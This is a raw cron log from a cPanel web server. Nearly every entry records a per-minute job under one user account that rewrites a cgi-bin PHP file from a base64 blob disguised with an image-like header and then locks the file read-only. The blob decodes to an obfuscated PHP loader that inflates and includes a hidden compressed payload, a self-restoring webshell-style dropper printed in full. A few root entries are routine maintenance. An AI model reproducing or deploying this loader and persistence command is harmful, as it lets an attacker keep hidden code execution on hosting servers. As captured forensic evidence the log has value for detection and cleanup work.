Nov 13 21:26:01 server CROND[7087]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:27:01 server CROND[7989]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:27:01 server CROND[7990]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 21:28:01 server CROND[8986]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:29:01 server CROND[9892]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:30:01 server CROND[10771]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 21:30:01 server CROND[10773]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:30:01 server CROND[10774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 21:30:01 server CROND[10772]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 21:31:01 server CROND[11749]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:32:01 server CROND[12274]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:33:01 server CROND[13132]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:34:01 server CROND[13985]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:35:01 server CROND[14847]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 21:35:01 server CROND[14849]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 21:35:01 server CROND[14850]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 21:35:01 server CROND[14851]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 21:35:01 server CROND[14853]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:36:01 server CROND[15851]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:37:01 server CROND[16705]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:38:01 server CROND[17572]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
